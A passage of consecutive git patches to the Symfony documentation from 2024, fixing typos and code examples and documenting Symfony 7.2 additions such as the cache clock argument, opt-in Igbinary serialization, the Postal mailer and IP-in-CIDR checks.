         // is reached, cache follows the LRU model (least recently used items are deleted)
-        $maxItems = 0
+        $maxItems = 0,
+
+        // implementation of Psr\Clock\ClockInterface (e.g. Symfony\Component\Clock\Clock)
+        // or null. If clock is provided, cache items lifetime will be calculated
+        // based on time provided by this clock
+        $clock = null
     );

From 87acbbcce5954cd05f16824d8db91b42fe954318 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Jul 2024 14:29:19 +0200
Subject: [PATCH 4902/5766] fix the syntax of PHP code blocks

---
 configuration/micro_kernel_trait.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 23aa677cf20..c9739679f69 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -57,7 +57,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
         return static function (array $context) {
             return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-        }
+        };
 
     .. code-block:: php
 
@@ -98,7 +98,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
 
         return static function (array $context) {
             return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
-        }
+        };
 
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:

From 28a4853bec254ee300d9d00f177a2e7c6d83d0e9 Mon Sep 17 00:00:00 2001
From: Severin J <48485375+sevjan@users.noreply.github.com>
Date: Thu, 25 Jul 2024 11:48:28 +0200
Subject: [PATCH 4903/5766] style: Typo in database.rst title

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 64095eec01b..bbf709801ba 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,4 +1,4 @@
-How to Test A Doctrine Repository
+How to Test a Doctrine Repository
 =================================
 
 .. seealso::

From f1c8808ee481a65b1e10453e362b54b98c3ae4cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 26 Jul 2024 17:03:46 +0200
Subject: [PATCH 4904/5766] [Cache] Igbinary extension is no longer used by
 default when available

---
 components/cache.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index f5a76f2119d..939627b1807 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -208,16 +208,27 @@ Symfony uses *marshallers* (classes which implement
 the cache items before storing them.
 
 The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
-``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
-There are other *marshallers* that can encrypt or compress the data before storing it::
+``serialize()`` function by default, but you can optionally use the ``igbinary_serialize()``
+function from the `Igbinary extension`_:
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\DefaultMarshaller;
     use Symfony\Component\Cache\DeflateMarshaller;
 
     $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    // you can optionally use the Igbinary extension if you have it installed
+    // $marshaller = new DeflateMarshaller(new DefaultMarshaller(useIgbinarySerialize: true));
+
     $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
 
+There are other *marshallers* that can encrypt or compress the data before storing it.
+
+.. versionadded:: 7.2
+
+    In Symfony versions prior to 7.2, the ``igbinary_serialize()`` function was
+    used by default when the Igbinary extension was installed. Starting from
+    Symfony 7.2, you have to enable Igbinary support explicitly.
+
 Advanced Usage
 --------------
 

From c6c0908067d1d1fd2bd0a72d478018eca4c22069 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sun, 28 Jul 2024 12:33:44 +0200
Subject: [PATCH 4905/5766] fix dump destination value in PHP config

---
 reference/configuration/debug.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 95976cad580..f33b3f3ba9a 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -99,7 +99,7 @@ Typically, you would set this to ``php://stderr``:
 
         return static function (ContainerConfigurator $container): void {
             $container->extension('debug', [
-                'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
+                'dump_destination' => 'php://stderr',
             ]);
         };
 

From eb8cf60af1a8aedd9a7f34a420485a0d6fcd8ac1 Mon Sep 17 00:00:00 2001
From: Severin J <48485375+sevjan@users.noreply.github.com>
Date: Mon, 29 Jul 2024 11:43:32 +0200
Subject: [PATCH 4906/5766] style: Typo in content title

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index bbf709801ba..6c337ee07a3 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -89,7 +89,7 @@ the employee which gets returned by the ``Repository``, which itself gets
 returned by the ``EntityManager``. This way, no real class is involved in
 testing.
 
-Functional Testing of A Doctrine Repository
+Functional Testing of a Doctrine Repository
 -------------------------------------------
 
 In :ref:`functional tests <functional-tests>` you'll make queries to the

From 10abade6df61b95c776301daa30876f4906c4fca Mon Sep 17 00:00:00 2001
From: Dennis de Best <dennis@debest.fr>
Date: Fri, 5 Jul 2024 11:56:01 +0200
Subject: [PATCH 4907/5766] Update configuration.rst

Fix $containerConfigurator parameter name in loadExtension function
---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 4efba904b0e..ab15675105f 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -97,7 +97,7 @@ class, you can add all the logic related to processing the configuration in that
             // the "$config" variable is already merged and processed so you can
             // use it directly to configure the service container (when defining an
             // extension class, you also have to do this merging and processing)
-            $containerConfigurator->services()
+            $container->services()
                 ->get('acme_social.twitter_client')
                 ->arg(0, $config['twitter']['client_id'])
                 ->arg(1, $config['twitter']['client_secret'])

From 24a61bdf3663a5dd47f322967a28eae70f0b9dd6 Mon Sep 17 00:00:00 2001
From: Damien Fernandes <damien.fernandes24@gmail.com>
Date: Mon, 29 Jul 2024 17:18:13 +0200
Subject: [PATCH 4908/5766] docs(http-foundation): check if ip is in cidr
 subnet

---
 components/http_foundation.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index e5d8be12b2d..9fd5384e366 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -353,6 +353,27 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+
+Check if an IP belongs to a CIDR subnet
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to know if an IP address is included in a CIDR subnet, you can
+use the ``checkIp`` method from the
+:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+
+    use Symfony\Component\HttpFoundation\IpUtils;
+
+    $ipv4 = '192.168.1.56';
+    $CIDRv4 = '192.168.1.0/16';
+    $isIpInCIDRv4 = IpUtils::checkIp($ipv4, $CIDRv4);
+    // $isIpInCIDRv4 = true
+
+    $ipv6 = '2001:db8:abcd:1234::1';
+    $CIDRv6 = '2001:db8:abcd::/48';
+    $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6);
+    // $isIpInCIDRv6 = true
+
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From d2b384beacf7a749ffaf0e98b9f41315a95893a2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 30 Jul 2024 16:38:51 +0200
Subject: [PATCH 4909/5766] fix typo

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 70a6602873e..828333f338b 100644
--- a/performance.rst
+++ b/performance.rst
@@ -367,7 +367,7 @@ method does, which stops an event and then restarts it immediately::
 
 .. versionadded:: 7.2
 
-    The ``getLastPeriod`` method was introduced in Symfony 7.2.
+    The ``getLastPeriod()`` method was introduced in Symfony 7.2.
 
 Profiling Sections
 ..................

From fdcb2708b28d44934a6bf0044ef788af0aef1f19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 30 Jul 2024 17:57:57 +0200
Subject: [PATCH 4910/5766] Minor tweak in the setup page

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 11a443f44e1..2404c5c3738 100644
--- a/setup.rst
+++ b/setup.rst
@@ -35,7 +35,7 @@ requirements. Open your console terminal and run this command:
 
 .. note::
 
-    The Symfony CLI is written in Go and you can contribute to it in the
+    The Symfony CLI is open source, and you can contribute to it in the
     `symfony-cli/symfony-cli GitHub repository`_.
 
 .. _creating-symfony-applications:

From 4f733e05a80734e53e3b577a76947b6f3648d257 Mon Sep 17 00:00:00 2001
From: Franz Holzinger <franz.holzinger@festwein.de>
Date: Wed, 31 Jul 2024 16:12:53 +0200
Subject: [PATCH 4911/5766] example function param 1 requires string

An int causes a PHP error

argument symfony#1 ($line) must be of type int, string given,
---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index bc14c970fa9..56da6d2f5da 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -627,7 +627,7 @@ For example, to get a dump as a string in a variable, you can do::
 
     $dumper->dump(
         $cloner->cloneVar($variable),
-        function (int $line, int $depth) use (&$output): void {
+        function (string $line, int $depth) use (&$output): void {
             // A negative depth means "end of dump"
             if ($depth >= 0) {
                 // Adds a two spaces indentation to the line

From 40dffcb4b4aae88493ac22240c60793bf59dabee Mon Sep 17 00:00:00 2001
From: Glen <glen.jaguin@gmail.com>
Date: Wed, 31 Jul 2024 20:40:42 +0200
Subject: [PATCH 4912/5766] Fix ScheduledStamp FQN

---
 components/messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/messenger.rst b/components/messenger.rst
index 8ec25d2c75f..c56c2bace82 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -162,7 +162,7 @@ Here are some important envelope stamps that are shipped with the Symfony Messen
   to configure the validation groups used when the validation middleware is enabled.
 * :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`,
   an internal stamp when a message fails due to an exception in the handler.
-* :class:`Symfony\\Component\\Messenger\\Stamp\\ScheduledStamp`,
+* :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`,
   a stamp that marks the message as produced by a scheduler. This helps
   differentiate it from messages created "manually". You can learn more about it
   in the :doc:`Scheduler documentation </scheduler>`.

From e2d8f0a36494d6370e0c845a18a36a84f8329ea5 Mon Sep 17 00:00:00 2001
From: Jonas Claes <jonas@jonasclaes.be>
Date: Thu, 1 Aug 2024 19:31:56 +0200
Subject: [PATCH 4913/5766] Update mailer.rst

---
 mailer.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 502644a741a..11acd065e52 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -110,6 +110,7 @@ Service               Install with                                    Webhook su
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
+`Postal`_             ``composer require symfony/postal-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Resend`_             ``composer require symfony/resend-mailer``      yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
@@ -122,7 +123,7 @@ Service               Install with                                    Webhook su
 
 .. versionadded:: 7.2
 
-    The Mailomat integration was introduced in Symfony 7.2.
+    The Mailomat and Postal integrations were introduced in Symfony 7.2.
 
 .. note::
 
@@ -214,6 +215,10 @@ party provider:
 |                        | - HTTP n/a                                              |
 |                        | - API ``mailpace+api://API_TOKEN@default``              |
 +------------------------+---------------------------------------------------------+
+| `Postal`_              | - SMTP n/a                                              |
+|                        | - HTTP n/a                                              |
+|                        | - API ``postal+api://API_KEY@BASE_URL``                 |
++------------------------+---------------------------------------------------------+
 | `Postmark`_            | - SMTP ``postmark+smtp://ID@default``                   |
 |                        | - HTTP n/a                                              |
 |                        | - API ``postmark+api://KEY@default``                    |
@@ -1992,6 +1997,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`MailPace`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/MailPace/README.md
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
+.. _`Postal`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postal/README.md
 .. _`Postmark`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Postmark/README.md
 .. _`Resend`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Mailer/Bridge/Resend/README.md
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From f68a326e35f85061813257b71bf2cd7f847f5afd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 2 Aug 2024 12:25:50 +0200
Subject: [PATCH 4914/5766] clarify how to disable client-side validation using
 the Regex constraint

---
 reference/constraints/Regex.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 6c7f34a5422..d57ded2bb77 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -193,7 +193,7 @@ Options
 ``htmlPattern``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string|boolean`` **default**: ``null``
+**type**: ``string|null`` **default**: ``null``
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
@@ -289,7 +289,7 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
             }
         }
 
-Setting ``htmlPattern`` to false will disable client side validation.
+Setting ``htmlPattern`` to the empty string will disable client side validation.
 
 ``match``
 ~~~~~~~~~

From a04e07c05a9c81e8d09b083953b92dcdf2678382 Mon Sep 17 00:00:00 2001
From: Hugo Posnic <hugo.posnic@protonmail.com>
Date: Wed, 26 Jun 2024 15:19:59 +0200
Subject: [PATCH 4915/5766] Fix redis adapter config to work with tags

---
 cache.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index d5a7082b748..c073a98387f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -618,8 +618,7 @@ to enable this feature. This could be added by using the following configuration
             cache:
                 pools:
                     my_cache_pool:
-                        adapter: cache.adapter.redis
-                        tags: true
+                        adapter: cache.adapter.redis_tag_aware
 
     .. code-block:: xml
 

From 8cfb8e0642bfca5b8b2373e1cfbef81fe78ce8ed Mon Sep 17 00:00:00 2001
From: Michael Hirschler <michael@hirschler.me>
Date: Mon, 29 Jul 2024 09:35:15 +0200
Subject: [PATCH 4916/5766] [DomCrawler] fixes typo `Form::getFields()` ->
 `Form::getFiles()`

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 5116d53a04c..c00ea9de8c8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -917,7 +917,7 @@ The second optional argument is used to override the default form field values.
 
 If you need access to the :class:`Symfony\\Component\\DomCrawler\\Form` object
 that provides helpful methods specific to forms (such as ``getUri()``,
-``getValues()`` and ``getFields()``) use the ``Crawler::selectButton()`` method instead::
+``getValues()`` and ``getFiles()``) use the ``Crawler::selectButton()`` method instead::
 
     $client = static::createClient();
     $crawler = $client->request('GET', '/post/hello-world');

From e58228e790fe9ea9f8f88e0ed45de990253b23f4 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 5 Aug 2024 13:37:31 +0200
Subject: [PATCH 4917/5766] Update reproducer.rst: Minor rewording

Reason: Bugs aren't only fixed by Core Developers...
---
 contributing/code/reproducer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst
index 6efae2a8ee8..3392ca87035 100644
--- a/contributing/code/reproducer.rst
+++ b/contributing/code/reproducer.rst
@@ -2,8 +2,8 @@ Creating a Bug Reproducer
 =========================
 
 The main Symfony code repository receives thousands of issues reports per year.
-Some of those issues are easy to understand and the Symfony Core developers can
-fix them without any other information. However, other issues are much harder to
+Some of those issues are easy to understand and can
+be fixed without any other information. However, other issues are much harder to
 understand because developers can't reproduce them in their computers. That's
 when we'll ask you to create a "bug reproducer", which is the minimum amount of
 code needed to make the bug appear when executed.

From cc528c5d15c73b5c41299af2f3b7f8253e9208d7 Mon Sep 17 00:00:00 2001
From: Etshy <garbuio.jonas@gmail.com>
Date: Tue, 6 Aug 2024 13:09:53 +0200
Subject: [PATCH 4918/5766] Update Cidr.rst

Update netmaskMax type to match the type in the code.
---
 reference/constraints/Cidr.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
index bb51a4826be..b90f07ea1c8 100644
--- a/reference/constraints/Cidr.rst
+++ b/reference/constraints/Cidr.rst
@@ -112,7 +112,7 @@ It's a constraint for the lowest value a valid netmask may have.
 ``netmaskMax``
 ~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
+**type**: ``integer`` **default**: ``32`` for IPv4 or ``128`` for IPv6
 
 It's a constraint for the biggest value a valid netmask may have.
 

From 6f8b6fede02c122a9052a25436584af824200b5b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 6 Aug 2024 14:58:20 +0200
Subject: [PATCH 4919/5766] ensure consistency of Symfony and standalone
 session code block

---
 session.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/session.rst b/session.rst
index c03d9435baf..a212acf9993 100644
--- a/session.rst
+++ b/session.rst
@@ -171,15 +171,13 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
         // add flash messages
         $flashes->add(
-            'warning',
-            'Your config file is writable, it should be set read-only'
+            'notice',
+            'Your changes were saved'
         );
-        $flashes->add('error', 'Failed to update name');
-        $flashes->add('error', 'Another error');
 
-After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``warning`` and ``error`` in this example) can be anything:
-you'll use this key to retrieve the message.
+After processing the request, the controller sets a flash message in the
+session and then redirects. The message key (``notice`` in this example)
+can be anything. You'll use this key to retrieve the message.
 
 In the template of the next page (or even better, in your base layout template),
 read any flash messages from the session using the ``flashes()`` method provided

From 4b3fad09b8894e9d61876e1fdd8752275fe57691 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 6 Aug 2024 17:44:01 +0200
Subject: [PATCH 4920/5766] Add the versionadded directive

---
 components/cache/adapters/array_cache_adapter.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index a6a72514361..08f8276db3d 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -26,8 +26,12 @@ method::
         // is reached, cache follows the LRU model (least recently used items are deleted)
         $maxItems = 0,
 
-        // implementation of Psr\Clock\ClockInterface (e.g. Symfony\Component\Clock\Clock)
-        // or null. If clock is provided, cache items lifetime will be calculated
-        // based on time provided by this clock
-        $clock = null
+        // optional implementation of the Psr\Clock\ClockInterface that will be used
+        // to calculate the lifetime of cache items (for example to get predictable
+        // lifetimes in tests)
+        $clock = null,
     );
+
+.. versionadded:: 7.2
+
+    The optional ``$clock`` argument was introduced in Symfony 7.2.

From c7bf80275b6a65807642e860fc19af77ffd6c453 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Aug 2024 11:02:10 +0200
Subject: [PATCH 4921/5766] [Validator] Mention `Ulid::FORMAT_RFC4122`

---
 reference/constraints/Ulid.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 4ba5ec3a3f5..a5888409960 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -82,6 +82,7 @@ The format of the ULID to validate. The following formats are available:
 
 * ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
 * ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
+* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the RFC 4122 format
 
 .. versionadded:: 7.2
 

From 9381f4be9bf1149ab63d850b84d678e2e1df6869 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Aug 2024 14:20:31 +0200
Subject: [PATCH 4922/5766] [Validator] Add links to Ulid constraint formats

---
 reference/constraints/Ulid.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index a5888409960..4094bab98f5 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -80,9 +80,9 @@ Options
 
 The format of the ULID to validate. The following formats are available:
 
-* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
-* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
-* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the RFC 4122 format
+* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in `base32`_ (default)
+* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in `base58`_
+* ``Ulid::FORMAT_RFC4122``: The ULID is encoded in the `RFC 4122 format`_
 
 .. versionadded:: 7.2
 
@@ -111,3 +111,6 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`Universally Unique Lexicographically Sortable Identifier (ULID)`: https://github.com/ulid/spec
+.. _`base32`: https://en.wikipedia.org/wiki/Base32
+.. _`base58`: https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58
+.. _`RFC 4122 format`: https://datatracker.ietf.org/doc/html/rfc4122

From 248138d04e8656f8779c834df4a43c9c6ae90fdd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Aug 2024 16:53:26 +0200
Subject: [PATCH 4923/5766] Minor tweaks

---
 components/http_foundation.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 74589f0fcad..d24cb8032f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -353,13 +353,11 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
-
-Check if an IP belongs to a CIDR subnet
+Check If an IP Belongs to a CIDR Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you need to know if an IP address is included in a CIDR subnet, you can
-use the ``checkIp`` method from the
-:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+If you need to know if an IP address is included in a CIDR subnet, you can use
+the ``checkIp()`` method from :class:`Symfony\\Component\\HttpFoundation\\IpUtils`::
 
     use Symfony\Component\HttpFoundation\IpUtils;
 
@@ -373,7 +371,6 @@ use the ``checkIp`` method from the
     $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6);
     // $isIpInCIDRv6 = true
 
-
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 2a81676897706453c9d7ee8f959cfaaaa94f5938 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Sat, 18 May 2024 08:52:13 +0200
Subject: [PATCH 4924/5766] [AssetMapper] Add FAQ for code lint/format

---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 185fca4f913..8fe46c020b6 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -799,6 +799,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
+Can I lint and format my code?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets.
+It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files.
+
 .. _asset-mapper-ts:
 
 Using TypeScript
@@ -1170,3 +1176,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle

From 601f578a4d438c1bb746b9c991f571f4ed83758b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Aug 2024 10:13:16 +0200
Subject: [PATCH 4925/5766] Minor reword

---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8fe46c020b6..9c9878a54cd 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -799,11 +799,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
-Can I lint and format my code?
+Can I Lint and Format My Code?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets.
-It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files.
+Not with AssetMapper, but you can install `kocal/biome-js-bundle`_ in your project
+to lint and format your front-end assets. It's much faster than alternatives like
+Prettier and requires no configuration to handle your JavaScript, TypeScript and CSS files.
 
 .. _asset-mapper-ts:
 

From f206ee76de524531dfe2e62c375bfd51b87ec48e Mon Sep 17 00:00:00 2001
From: Baptiste Lafontaine <magnetik@users.noreply.github.com>
Date: Thu, 8 Aug 2024 12:03:56 +0200
Subject: [PATCH 4926/5766] minor : the process method from
 CompilerPassInterface should be public

Since the method is defined in CompilerPassInterface as public, it should be defined as public in the Kernel.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c00ea9de8c8..281f8c45ad8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -651,7 +651,7 @@ to remove the ``kernel.reset`` tag from some services in your test environment::
 
         // ...
 
-        protected function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
             if ('test' === $this->environment) {
                 // prevents the security token to be cleared

From ce138921bd92a98340ed20ba16b6ebe0520d3ef4 Mon Sep 17 00:00:00 2001
From: Philippe Chabbert <chab.philippe@gmail.com>
Date: Thu, 8 Aug 2024 11:42:42 +0200
Subject: [PATCH 4927/5766] doc: add missing use statements

---
 configuration/multiple_kernels.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4cef8b0d09e..512ea57f24d 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,7 +117,9 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class Kernel extends BaseKernel
@@ -258,6 +260,7 @@ the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Input\InputOption;
 

From ed5124230a9e8bdacad8c9ab7459f0e2785e281a Mon Sep 17 00:00:00 2001
From: n-valverde <64469669+n-valverde@users.noreply.github.com>
Date: Sat, 17 Feb 2024 10:52:22 +0100
Subject: [PATCH 4928/5766] Update service_container.rst

---
 service_container.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 569f549990b..1afc59189ed 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1035,20 +1035,25 @@ to them.
 Linting Service Definitions
 ---------------------------
 
-The ``lint:container`` command checks that the arguments injected into services
-match their type declarations. It's useful to run it before deploying your
-application to production (e.g. in your continuous integration server):
+The ``lint:container`` command performs some additional checks to make sure
+the container is properly configured:
+* ensures the arguments injected into services match their type declarations.
+* ensures the interfaces configured as alias are resolving to a compatible
+service.
+It's useful to run it before deploying your application to production
+(e.g. in your continuous integration server):
